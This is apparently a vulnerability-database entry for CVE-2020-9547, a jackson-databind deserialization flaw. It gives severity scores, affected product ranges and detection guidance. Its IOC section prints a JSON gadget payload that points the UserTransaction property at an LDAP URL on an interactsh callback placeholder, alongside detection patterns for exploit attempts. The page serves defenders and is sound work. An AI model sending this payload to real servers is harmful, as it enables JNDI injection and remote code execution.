cbcvebase.
CVE-2020-9547
published 2020-03-02

CVE-2020-9547: FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to…

PriorityP181critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
18.67%
97.0th percentile
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap).

Affected

36 ranges· showing 25
VendorProductVersion rangeFixed in
debiandebian_linux
debianjackson-databind< jackson-databind 2.11.1-1 (bookworm)jackson-databind 2.11.1-1 (bookworm)
fasterxmljackson-databind>= 0 < 2.11.1-12.11.1-1
fasterxmljackson-databind>= 0 < 2.11.1-12.11.1-1
fasterxmljackson-databind>= 0 < 2.11.1-12.11.1-1
fasterxmljackson-databind>= 0 < 2.11.1-12.11.1-1
fasterxmljackson-databind>= 0 < 2.4.2-3ubuntu0.1~esm22.4.2-3ubuntu0.1~esm2
fasterxmljackson-databind>= 2.0.0 < 2.7.9.72.7.9.7
fasterxmljackson-databind>= 2.8.0 < 2.8.11.62.8.11.6
fasterxmljackson-databind>= 2.9.0 < 2.9.10.42.9.10.4
netappactive_iq_unified_manager>= 7.3
netappactive_iq_unified_manager>= 9.5
oracleautovue_for_agile_product_lifecycle_management
oraclebanking_platform2.4.0 – 2.9.0
oraclecommunications_contacts_server
oraclecommunications_evolved_communications_application_server
oraclecommunications_instant_messaging_server
oraclecommunications_network_charging_and_control
oraclecommunications_network_charging_and_control12.0.0 – 12.0.3
oracleenterprise_manager_base_platform
oracleenterprise_manager_base_platform
oracleglobal_lifecycle_management_opatch< 12.2.0.1.2012.2.0.1.20
oraclejd_edwards_enterpriseone_orchestrator< 9.2.4.29.2.4.2
oraclejd_edwards_enterpriseone_tools< 9.2.4.29.2.4.2
oracleprimavera_unifier

Detection & IOCsextracted from sources · hover to see the quote

command["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"ldap://{{interactsh-url}}/{{randstr}}"}]}]
urlldap://{{interactsh-url}}/{{randstr}}
  • Detect exploit attempts by monitoring POST requests with Content-Type: application/json containing the gadget class 'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig' in the body
  • Monitor application responses for jackson-databind deserialization error strings as indicators of attempted exploitation: JsonMappingException, InvalidTypeIdException, JdbcRowSetImpl, com.fasterxml.jackson.databind, javax.naming.NamingException
  • Detect out-of-band DNS/LDAP callback triggered by JNDI injection via the UserTransaction property in the ibatis-sqlmap gadget chain; monitor for unexpected LDAP lookups originating from the application server
  • ·Exploitation requires polymorphic type handling to be enabled (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS); applications that do not enable this configuration are not vulnerable
  • ·Red Hat Satellite 6 does not enable polymorphic deserialization, making it not exploitable in that configuration
  • ·OpenDaylight ships the vulnerable jackson-databind but does not expose it in a way that makes it exploitable

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.